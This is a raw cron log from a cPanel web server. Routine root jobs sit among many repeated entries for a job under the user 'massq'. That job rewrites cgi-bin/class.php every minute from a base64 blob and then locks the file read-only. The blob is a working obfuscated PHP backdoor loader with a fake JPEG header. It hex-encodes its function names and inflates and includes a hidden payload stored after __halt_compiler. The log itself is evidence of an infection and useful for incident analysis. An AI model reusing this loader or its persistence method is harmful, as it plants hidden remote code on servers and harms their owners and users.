Nov 15 08:58:01 server CROND[22918]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:59:01 server CROND[23176]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:00:01 server CROND[23454]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 09:00:01 server CROND[23456]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 09:00:01 server CROND[23457]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 09:00:01 server CROND[23458]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &amp;&gt; /dev/null &amp;&amp; /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Nov 15 09:00:01 server CROND[23455]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:01:01 server CROND[23785]: (root) CMD (run-parts /etc/cron.hourly)
Nov 15 09:01:01 server CROND[23786]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:01:01 server run-parts(/etc/cron.hourly)[23785]: starting 0anacron
Nov 15 09:01:01 server run-parts(/etc/cron.hourly)[23798]: finished 0anacron
Nov 15 09:02:01 server CROND[24164]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:03:01 server CROND[24438]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:04:01 server CROND[24707]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:05:01 server CROND[24973]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:05:01 server CROND[24974]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 09:05:01 server CROND[24975]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 09:05:01 server CROND[24976]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 09:06:01 server CROND[25304]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:07:01 server CROND[25610]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:08:01 server CROND[25955]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:09:01 server CROND[26277]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 09:09:01 server CROND[26278]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:10:01 server CROND[26553]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:10:01 server CROND[26555]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 09:10:01 server CROND[26554]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 09:10:01 server CROND[26556]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
